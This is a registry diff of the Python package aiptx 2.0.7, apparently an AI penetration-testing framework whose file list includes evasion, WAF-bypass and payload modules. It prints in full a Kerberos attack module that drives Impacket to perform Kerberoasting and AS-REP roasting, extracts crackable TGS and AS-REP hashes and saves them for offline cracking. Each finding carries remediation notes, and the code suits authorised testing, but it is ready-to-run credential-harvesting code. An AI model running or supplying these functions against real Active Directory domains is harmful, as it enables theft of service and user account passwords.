aiptx 2.0.7__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (187) hide show
  1. aipt_v2/__init__.py +110 -0
  2. aipt_v2/__main__.py +24 -0
  3. aipt_v2/agents/AIPTxAgent/__init__.py +10 -0
  4. aipt_v2/agents/AIPTxAgent/aiptx_agent.py +211 -0
  5. aipt_v2/agents/__init__.py +46 -0
  6. aipt_v2/agents/base.py +520 -0
  7. aipt_v2/agents/exploit_agent.py +688 -0
  8. aipt_v2/agents/ptt.py +406 -0
  9. aipt_v2/agents/state.py +168 -0
  10. aipt_v2/app.py +957 -0
  11. aipt_v2/browser/__init__.py +31 -0
  12. aipt_v2/browser/automation.py +458 -0
  13. aipt_v2/browser/crawler.py +453 -0
  14. aipt_v2/cli.py +2933 -0
  15. aipt_v2/compliance/__init__.py +71 -0
  16. aipt_v2/compliance/compliance_report.py +449 -0
  17. aipt_v2/compliance/framework_mapper.py +424 -0
  18. aipt_v2/compliance/nist_mapping.py +345 -0
  19. aipt_v2/compliance/owasp_mapping.py +330 -0
  20. aipt_v2/compliance/pci_mapping.py +297 -0
  21. aipt_v2/config.py +341 -0
  22. aipt_v2/core/__init__.py +43 -0
  23. aipt_v2/core/agent.py +630 -0
  24. aipt_v2/core/llm.py +395 -0
  25. aipt_v2/core/memory.py +305 -0
  26. aipt_v2/core/ptt.py +329 -0
  27. aipt_v2/database/__init__.py +14 -0
  28. aipt_v2/database/models.py +232 -0
  29. aipt_v2/database/repository.py +384 -0
  30. aipt_v2/docker/__init__.py +23 -0
  31. aipt_v2/docker/builder.py +260 -0
  32. aipt_v2/docker/manager.py +222 -0
  33. aipt_v2/docker/sandbox.py +371 -0
  34. aipt_v2/evasion/__init__.py +58 -0
  35. aipt_v2/evasion/request_obfuscator.py +272 -0
  36. aipt_v2/evasion/tls_fingerprint.py +285 -0
  37. aipt_v2/evasion/ua_rotator.py +301 -0
  38. aipt_v2/evasion/waf_bypass.py +439 -0
  39. aipt_v2/execution/__init__.py +23 -0
  40. aipt_v2/execution/executor.py +302 -0
  41. aipt_v2/execution/parser.py +544 -0
  42. aipt_v2/execution/terminal.py +337 -0
  43. aipt_v2/health.py +437 -0
  44. aipt_v2/intelligence/__init__.py +194 -0
  45. aipt_v2/intelligence/adaptation.py +474 -0
  46. aipt_v2/intelligence/auth.py +520 -0
  47. aipt_v2/intelligence/chaining.py +775 -0
  48. aipt_v2/intelligence/correlation.py +536 -0
  49. aipt_v2/intelligence/cve_aipt.py +334 -0
  50. aipt_v2/intelligence/cve_info.py +1111 -0
  51. aipt_v2/intelligence/knowledge_graph.py +590 -0
  52. aipt_v2/intelligence/learning.py +626 -0
  53. aipt_v2/intelligence/llm_analyzer.py +502 -0
  54. aipt_v2/intelligence/llm_tool_selector.py +518 -0
  55. aipt_v2/intelligence/payload_generator.py +562 -0
  56. aipt_v2/intelligence/rag.py +239 -0
  57. aipt_v2/intelligence/scope.py +442 -0
  58. aipt_v2/intelligence/searchers/__init__.py +5 -0
  59. aipt_v2/intelligence/searchers/exploitdb_searcher.py +523 -0
  60. aipt_v2/intelligence/searchers/github_searcher.py +467 -0
  61. aipt_v2/intelligence/searchers/google_searcher.py +281 -0
  62. aipt_v2/intelligence/tools.json +443 -0
  63. aipt_v2/intelligence/triage.py +670 -0
  64. aipt_v2/interactive_shell.py +559 -0
  65. aipt_v2/interface/__init__.py +5 -0
  66. aipt_v2/interface/cli.py +230 -0
  67. aipt_v2/interface/main.py +501 -0
  68. aipt_v2/interface/tui.py +1276 -0
  69. aipt_v2/interface/utils.py +583 -0
  70. aipt_v2/llm/__init__.py +39 -0
  71. aipt_v2/llm/config.py +26 -0
  72. aipt_v2/llm/llm.py +514 -0
  73. aipt_v2/llm/memory.py +214 -0
  74. aipt_v2/llm/request_queue.py +89 -0
  75. aipt_v2/llm/utils.py +89 -0
  76. aipt_v2/local_tool_installer.py +1467 -0
  77. aipt_v2/models/__init__.py +15 -0
  78. aipt_v2/models/findings.py +295 -0
  79. aipt_v2/models/phase_result.py +224 -0
  80. aipt_v2/models/scan_config.py +207 -0
  81. aipt_v2/monitoring/grafana/dashboards/aipt-dashboard.json +355 -0
  82. aipt_v2/monitoring/grafana/dashboards/default.yml +17 -0
  83. aipt_v2/monitoring/grafana/datasources/prometheus.yml +17 -0
  84. aipt_v2/monitoring/prometheus.yml +60 -0
  85. aipt_v2/orchestration/__init__.py +52 -0
  86. aipt_v2/orchestration/pipeline.py +398 -0
  87. aipt_v2/orchestration/progress.py +300 -0
  88. aipt_v2/orchestration/scheduler.py +296 -0
  89. aipt_v2/orchestrator.py +2427 -0
  90. aipt_v2/payloads/__init__.py +27 -0
  91. aipt_v2/payloads/cmdi.py +150 -0
  92. aipt_v2/payloads/sqli.py +263 -0
  93. aipt_v2/payloads/ssrf.py +204 -0
  94. aipt_v2/payloads/templates.py +222 -0
  95. aipt_v2/payloads/traversal.py +166 -0
  96. aipt_v2/payloads/xss.py +204 -0
  97. aipt_v2/prompts/__init__.py +60 -0
  98. aipt_v2/proxy/__init__.py +29 -0
  99. aipt_v2/proxy/history.py +352 -0
  100. aipt_v2/proxy/interceptor.py +452 -0
  101. aipt_v2/recon/__init__.py +44 -0
  102. aipt_v2/recon/dns.py +241 -0
  103. aipt_v2/recon/osint.py +367 -0
  104. aipt_v2/recon/subdomain.py +372 -0
  105. aipt_v2/recon/tech_detect.py +311 -0
  106. aipt_v2/reports/__init__.py +17 -0
  107. aipt_v2/reports/generator.py +313 -0
  108. aipt_v2/reports/html_report.py +378 -0
  109. aipt_v2/runtime/__init__.py +53 -0
  110. aipt_v2/runtime/base.py +30 -0
  111. aipt_v2/runtime/docker.py +401 -0
  112. aipt_v2/runtime/local.py +346 -0
  113. aipt_v2/runtime/tool_server.py +205 -0
  114. aipt_v2/runtime/vps.py +830 -0
  115. aipt_v2/scanners/__init__.py +28 -0
  116. aipt_v2/scanners/base.py +273 -0
  117. aipt_v2/scanners/nikto.py +244 -0
  118. aipt_v2/scanners/nmap.py +402 -0
  119. aipt_v2/scanners/nuclei.py +273 -0
  120. aipt_v2/scanners/web.py +454 -0
  121. aipt_v2/scripts/security_audit.py +366 -0
  122. aipt_v2/setup_wizard.py +941 -0
  123. aipt_v2/skills/__init__.py +80 -0
  124. aipt_v2/skills/agents/__init__.py +14 -0
  125. aipt_v2/skills/agents/api_tester.py +706 -0
  126. aipt_v2/skills/agents/base.py +477 -0
  127. aipt_v2/skills/agents/code_review.py +459 -0
  128. aipt_v2/skills/agents/security_agent.py +336 -0
  129. aipt_v2/skills/agents/web_pentest.py +818 -0
  130. aipt_v2/skills/prompts/__init__.py +647 -0
  131. aipt_v2/system_detector.py +539 -0
  132. aipt_v2/telemetry/__init__.py +7 -0
  133. aipt_v2/telemetry/tracer.py +347 -0
  134. aipt_v2/terminal/__init__.py +28 -0
  135. aipt_v2/terminal/executor.py +400 -0
  136. aipt_v2/terminal/sandbox.py +350 -0
  137. aipt_v2/tools/__init__.py +44 -0
  138. aipt_v2/tools/active_directory/__init__.py +78 -0
  139. aipt_v2/tools/active_directory/ad_config.py +238 -0
  140. aipt_v2/tools/active_directory/bloodhound_wrapper.py +447 -0
  141. aipt_v2/tools/active_directory/kerberos_attacks.py +430 -0
  142. aipt_v2/tools/active_directory/ldap_enum.py +533 -0
  143. aipt_v2/tools/active_directory/smb_attacks.py +505 -0
  144. aipt_v2/tools/agents_graph/__init__.py +19 -0
  145. aipt_v2/tools/agents_graph/agents_graph_actions.py +69 -0
  146. aipt_v2/tools/api_security/__init__.py +76 -0
  147. aipt_v2/tools/api_security/api_discovery.py +608 -0
  148. aipt_v2/tools/api_security/graphql_scanner.py +622 -0
  149. aipt_v2/tools/api_security/jwt_analyzer.py +577 -0
  150. aipt_v2/tools/api_security/openapi_fuzzer.py +761 -0
  151. aipt_v2/tools/browser/__init__.py +5 -0
  152. aipt_v2/tools/browser/browser_actions.py +238 -0
  153. aipt_v2/tools/browser/browser_instance.py +535 -0
  154. aipt_v2/tools/browser/tab_manager.py +344 -0
  155. aipt_v2/tools/cloud/__init__.py +70 -0
  156. aipt_v2/tools/cloud/cloud_config.py +273 -0
  157. aipt_v2/tools/cloud/cloud_scanner.py +639 -0
  158. aipt_v2/tools/cloud/prowler_tool.py +571 -0
  159. aipt_v2/tools/cloud/scoutsuite_tool.py +359 -0
  160. aipt_v2/tools/executor.py +307 -0
  161. aipt_v2/tools/parser.py +408 -0
  162. aipt_v2/tools/proxy/__init__.py +5 -0
  163. aipt_v2/tools/proxy/proxy_actions.py +103 -0
  164. aipt_v2/tools/proxy/proxy_manager.py +789 -0
  165. aipt_v2/tools/registry.py +196 -0
  166. aipt_v2/tools/scanners/__init__.py +343 -0
  167. aipt_v2/tools/scanners/acunetix_tool.py +712 -0
  168. aipt_v2/tools/scanners/burp_tool.py +631 -0
  169. aipt_v2/tools/scanners/config.py +156 -0
  170. aipt_v2/tools/scanners/nessus_tool.py +588 -0
  171. aipt_v2/tools/scanners/zap_tool.py +612 -0
  172. aipt_v2/tools/terminal/__init__.py +5 -0
  173. aipt_v2/tools/terminal/terminal_actions.py +37 -0
  174. aipt_v2/tools/terminal/terminal_manager.py +153 -0
  175. aipt_v2/tools/terminal/terminal_session.py +449 -0
  176. aipt_v2/tools/tool_processing.py +108 -0
  177. aipt_v2/utils/__init__.py +17 -0
  178. aipt_v2/utils/logging.py +202 -0
  179. aipt_v2/utils/model_manager.py +187 -0
  180. aipt_v2/utils/searchers/__init__.py +269 -0
  181. aipt_v2/verify_install.py +793 -0
  182. aiptx-2.0.7.dist-info/METADATA +345 -0
  183. aiptx-2.0.7.dist-info/RECORD +187 -0
  184. aiptx-2.0.7.dist-info/WHEEL +5 -0
  185. aiptx-2.0.7.dist-info/entry_points.txt +7 -0
  186. aiptx-2.0.7.dist-info/licenses/LICENSE +21 -0
  187. aiptx-2.0.7.dist-info/top_level.txt +1 -0
@@ -0,0 +1,430 @@
1
+ """
2
+ Kerberos Attack Module
3
+
4
+ Implements common Kerberos-based attacks:
5
+ - Kerberoasting: Extract TGS tickets for service accounts
6
+ - AS-REP Roasting: Attack accounts without pre-auth
7
+ - Golden/Silver ticket detection
8
+ - Kerberos delegation abuse
9
+
10
+ Uses Impacket library for Kerberos operations.
11
+
12
+ Usage:
13
+ from aipt_v2.tools.active_directory import KerberosAttacks
14
+
15
+ attacker = KerberosAttacks(config)
16
+ hashes = await attacker.kerberoast()
17
+ """
18
+
19
+ import asyncio
20
+ import re
21
+ from dataclasses import dataclass, field
22
+ from datetime import datetime, timezone
23
+ from pathlib import Path
24
+ from typing import List, Dict, Any, Optional
25
+
26
+ from aipt_v2.tools.active_directory.ad_config import ADConfig, get_ad_config
27
+
28
+
29
+ @dataclass
30
+ class KerberosFinding:
31
+ """Kerberos attack finding."""
32
+ attack_type: str # kerberoast, asreproast, delegation, ticket
33
+ severity: str
34
+ title: str
35
+ description: str
36
+ account: str
37
+ hash_value: str = ""
38
+ crackable: bool = False
39
+ remediation: str = ""
40
+ timestamp: str = ""
41
+
42
+ def __post_init__(self):
43
+ if not self.timestamp:
44
+ self.timestamp = datetime.now(timezone.utc).isoformat()
45
+
46
+
47
+ @dataclass
48
+ class KerberosResult:
49
+ """Result of Kerberos attacks."""
50
+ domain: str
51
+ status: str
52
+ started_at: str
53
+ finished_at: str
54
+ duration: float
55
+ kerberoast_hashes: List[str]
56
+ asreproast_hashes: List[str]
57
+ findings: List[KerberosFinding]
58
+ metadata: Dict[str, Any] = field(default_factory=dict)
59
+
60
+
61
+ class KerberosAttacks:
62
+ """
63
+ Kerberos Attack Tool.
64
+
65
+ Performs Kerberos-based attacks against Active Directory
66
+ including Kerberoasting and AS-REP roasting.
67
+ """
68
+
69
+ def __init__(self, config: Optional[ADConfig] = None):
70
+ """
71
+ Initialize Kerberos attacker.
72
+
73
+ Args:
74
+ config: AD configuration
75
+ """
76
+ self.config = config or ADConfig()
77
+ self.findings: List[KerberosFinding] = []
78
+ self.kerberoast_hashes: List[str] = []
79
+ self.asreproast_hashes: List[str] = []
80
+
81
+ async def _run_impacket_tool(self, tool: str, args: List[str]) -> str:
82
+ """Run Impacket tool and return output."""
83
+ cmd = [tool] + args
84
+
85
+ try:
86
+ process = await asyncio.create_subprocess_exec(
87
+ *cmd,
88
+ stdout=asyncio.subprocess.PIPE,
89
+ stderr=asyncio.subprocess.PIPE
90
+ )
91
+
92
+ stdout, stderr = await asyncio.wait_for(
93
+ process.communicate(),
94
+ timeout=self.config.timeout
95
+ )
96
+
97
+ return stdout.decode() + stderr.decode()
98
+
99
+ except asyncio.TimeoutError:
100
+ return ""
101
+ except FileNotFoundError:
102
+ return f"[!] Tool not found: {tool}"
103
+ except Exception as e:
104
+ return f"[!] Error: {e}"
105
+
106
+ async def kerberoast(self, target_users: List[str] = None) -> List[str]:
107
+ """
108
+ Perform Kerberoasting attack.
109
+
110
+ Extracts TGS tickets for service accounts that can be
111
+ cracked offline to reveal passwords.
112
+
113
+ Args:
114
+ target_users: Specific users to target (optional)
115
+
116
+ Returns:
117
+ List of extracted hashes in hashcat format
118
+ """
119
+ hashes = []
120
+
121
+ # Build GetUserSPNs command
122
+ args = [
123
+ f"{self.config.credentials.domain}/{self.config.credentials.username}",
124
+ "-dc-ip", self.config.dc_ip,
125
+ "-request"
126
+ ]
127
+
128
+ if self.config.credentials.password:
129
+ args.extend(["-p", self.config.credentials.password])
130
+ elif self.config.credentials.ntlm_hash:
131
+ args.extend(["-hashes", self.config.credentials.ntlm_hash])
132
+
133
+ if target_users:
134
+ args.extend(["-usersfile", ",".join(target_users)])
135
+
136
+ output = await self._run_impacket_tool("GetUserSPNs.py", args)
137
+
138
+ # Parse TGS hashes from output
139
+ # Format: $krb5tgs$23$*user$domain$SPN*$hash
140
+ hash_pattern = r"\$krb5tgs\$[^\s]+"
141
+ matches = re.findall(hash_pattern, output)
142
+
143
+ for match in matches:
144
+ hashes.append(match)
145
+
146
+ # Extract username from hash
147
+ user_match = re.search(r"\$krb5tgs\$\d+\$\*([^$]+)\$", match)
148
+ username = user_match.group(1) if user_match else "unknown"
149
+
150
+ self.findings.append(KerberosFinding(
151
+ attack_type="kerberoast",
152
+ severity="high",
153
+ title=f"Kerberoastable Account: {username}",
154
+ description=f"Extracted TGS ticket for {username}",
155
+ account=username,
156
+ hash_value=match[:100] + "...",
157
+ crackable=True,
158
+ remediation="Use strong passwords (25+ chars) for service accounts"
159
+ ))
160
+
161
+ self.kerberoast_hashes = hashes
162
+ return hashes
163
+
164
+ async def asreproast(self, target_users: List[str] = None) -> List[str]:
165
+ """
166
+ Perform AS-REP Roasting attack.
167
+
168
+ Attacks accounts that don't require Kerberos pre-authentication.
169
+
170
+ Args:
171
+ target_users: Specific users to target (optional)
172
+
173
+ Returns:
174
+ List of extracted hashes
175
+ """
176
+ hashes = []
177
+
178
+ # Build GetNPUsers command
179
+ args = [
180
+ f"{self.config.credentials.domain}/",
181
+ "-dc-ip", self.config.dc_ip,
182
+ "-request"
183
+ ]
184
+
185
+ # Can run without credentials to find vulnerable users
186
+ if self.config.credentials.username:
187
+ args[0] = f"{self.config.credentials.domain}/{self.config.credentials.username}"
188
+ if self.config.credentials.password:
189
+ args.extend(["-p", self.config.credentials.password])
190
+
191
+ if target_users:
192
+ args.extend(["-usersfile", ",".join(target_users)])
193
+ else:
194
+ args.append("-no-pass")
195
+
196
+ output = await self._run_impacket_tool("GetNPUsers.py", args)
197
+
198
+ # Parse AS-REP hashes
199
+ # Format: $krb5asrep$23$user@domain:hash
200
+ hash_pattern = r"\$krb5asrep\$[^\s]+"
201
+ matches = re.findall(hash_pattern, output)
202
+
203
+ for match in matches:
204
+ hashes.append(match)
205
+
206
+ # Extract username
207
+ user_match = re.search(r"\$krb5asrep\$\d+\$([^@]+)@", match)
208
+ username = user_match.group(1) if user_match else "unknown"
209
+
210
+ self.findings.append(KerberosFinding(
211
+ attack_type="asreproast",
212
+ severity="high",
213
+ title=f"AS-REP Roastable Account: {username}",
214
+ description=f"Account {username} does not require pre-auth",
215
+ account=username,
216
+ hash_value=match[:100] + "...",
217
+ crackable=True,
218
+ remediation="Enable Kerberos pre-authentication for this account"
219
+ ))
220
+
221
+ self.asreproast_hashes = hashes
222
+ return hashes
223
+
224
+ async def check_delegation(self) -> List[KerberosFinding]:
225
+ """
226
+ Check for dangerous Kerberos delegation settings.
227
+
228
+ Returns:
229
+ List of delegation-related findings
230
+ """
231
+ findings = []
232
+
233
+ # Use findDelegation.py from Impacket
234
+ args = [
235
+ f"{self.config.credentials.domain}/{self.config.credentials.username}",
236
+ "-dc-ip", self.config.dc_ip
237
+ ]
238
+
239
+ if self.config.credentials.password:
240
+ args.extend(["-p", self.config.credentials.password])
241
+ elif self.config.credentials.ntlm_hash:
242
+ args.extend(["-hashes", self.config.credentials.ntlm_hash])
243
+
244
+ output = await self._run_impacket_tool("findDelegation.py", args)
245
+
246
+ # Parse delegation output
247
+ if "Unconstrained" in output:
248
+ findings.append(KerberosFinding(
249
+ attack_type="delegation",
250
+ severity="critical",
251
+ title="Unconstrained Delegation Found",
252
+ description="Account with unconstrained delegation can impersonate any user",
253
+ account="See output for details",
254
+ remediation="Use constrained delegation or remove delegation rights"
255
+ ))
256
+
257
+ if "Constrained" in output:
258
+ findings.append(KerberosFinding(
259
+ attack_type="delegation",
260
+ severity="high",
261
+ title="Constrained Delegation Found",
262
+ description="Account can delegate to specific services",
263
+ account="See output for details",
264
+ remediation="Review delegation targets and minimize scope"
265
+ ))
266
+
267
+ if "Resource-Based Constrained" in output or "RBCD" in output:
268
+ findings.append(KerberosFinding(
269
+ attack_type="delegation",
270
+ severity="high",
271
+ title="Resource-Based Constrained Delegation",
272
+ description="RBCD configured - may be abusable",
273
+ account="See output for details",
274
+ remediation="Review msDS-AllowedToActOnBehalfOfOtherIdentity"
275
+ ))
276
+
277
+ self.findings.extend(findings)
278
+ return findings
279
+
280
+ async def enumerate_spns(self) -> List[Dict]:
281
+ """
282
+ Enumerate Service Principal Names.
283
+
284
+ Returns:
285
+ List of SPNs and associated accounts
286
+ """
287
+ spns = []
288
+
289
+ args = [
290
+ f"{self.config.credentials.domain}/{self.config.credentials.username}",
291
+ "-dc-ip", self.config.dc_ip
292
+ ]
293
+
294
+ if self.config.credentials.password:
295
+ args.extend(["-p", self.config.credentials.password])
296
+
297
+ output = await self._run_impacket_tool("GetUserSPNs.py", args)
298
+
299
+ # Parse SPN listing
300
+ lines = output.split("\n")
301
+ for line in lines:
302
+ if "/" in line and not line.startswith("#") and not line.startswith("["):
303
+ parts = line.split()
304
+ if len(parts) >= 2:
305
+ spns.append({
306
+ "spn": parts[0] if "/" in parts[0] else parts[1],
307
+ "user": parts[0] if "/" not in parts[0] else "unknown"
308
+ })
309
+
310
+ return spns
311
+
312
+ def save_hashes(self, output_file: str) -> int:
313
+ """
314
+ Save extracted hashes to file.
315
+
316
+ Args:
317
+ output_file: Output file path
318
+
319
+ Returns:
320
+ Number of hashes saved
321
+ """
322
+ all_hashes = self.kerberoast_hashes + self.asreproast_hashes
323
+
324
+ if not all_hashes:
325
+ return 0
326
+
327
+ output_path = Path(output_file)
328
+ output_path.parent.mkdir(parents=True, exist_ok=True)
329
+
330
+ with open(output_path, "w") as f:
331
+ for hash_val in all_hashes:
332
+ f.write(hash_val + "\n")
333
+
334
+ return len(all_hashes)
335
+
336
+ async def run_attacks(self) -> KerberosResult:
337
+ """
338
+ Run all Kerberos attacks.
339
+
340
+ Returns:
341
+ KerberosResult with findings
342
+ """
343
+ started_at = datetime.now(timezone.utc).isoformat()
344
+ start_time = asyncio.get_event_loop().time()
345
+
346
+ # Run attacks
347
+ await self.kerberoast()
348
+ await self.asreproast()
349
+ await self.check_delegation()
350
+
351
+ finished_at = datetime.now(timezone.utc).isoformat()
352
+ duration = asyncio.get_event_loop().time() - start_time
353
+
354
+ return KerberosResult(
355
+ domain=self.config.domain,
356
+ status="completed",
357
+ started_at=started_at,
358
+ finished_at=finished_at,
359
+ duration=duration,
360
+ kerberoast_hashes=self.kerberoast_hashes,
361
+ asreproast_hashes=self.asreproast_hashes,
362
+ findings=self.findings,
363
+ metadata={
364
+ "kerberoast_count": len(self.kerberoast_hashes),
365
+ "asreproast_count": len(self.asreproast_hashes),
366
+ "finding_count": len(self.findings)
367
+ }
368
+ )
369
+
370
+
371
+ # Convenience functions
372
+ async def run_kerberoast(
373
+ domain: str,
374
+ dc_ip: str,
375
+ username: str,
376
+ password: str,
377
+ **kwargs
378
+ ) -> List[str]:
379
+ """
380
+ Quick Kerberoasting attack.
381
+
382
+ Args:
383
+ domain: AD domain
384
+ dc_ip: Domain Controller IP
385
+ username: Username
386
+ password: Password
387
+
388
+ Returns:
389
+ List of TGS hashes
390
+ """
391
+ config = get_ad_config(
392
+ domain=domain,
393
+ dc_ip=dc_ip,
394
+ username=username,
395
+ password=password
396
+ )
397
+
398
+ attacker = KerberosAttacks(config)
399
+ return await attacker.kerberoast()
400
+
401
+
402
+ async def run_asreproast(
403
+ domain: str,
404
+ dc_ip: str,
405
+ username: str = None,
406
+ password: str = None,
407
+ userlist: List[str] = None
408
+ ) -> List[str]:
409
+ """
410
+ Quick AS-REP Roasting attack.
411
+
412
+ Args:
413
+ domain: AD domain
414
+ dc_ip: Domain Controller IP
415
+ username: Username (optional for unauthenticated)
416
+ password: Password (optional)
417
+ userlist: List of users to test
418
+
419
+ Returns:
420
+ List of AS-REP hashes
421
+ """
422
+ config = get_ad_config(
423
+ domain=domain,
424
+ dc_ip=dc_ip,
425
+ username=username or "",
426
+ password=password or ""
427
+ )
428
+
429
+ attacker = KerberosAttacks(config)
430
+ return await attacker.asreproast(target_users=userlist)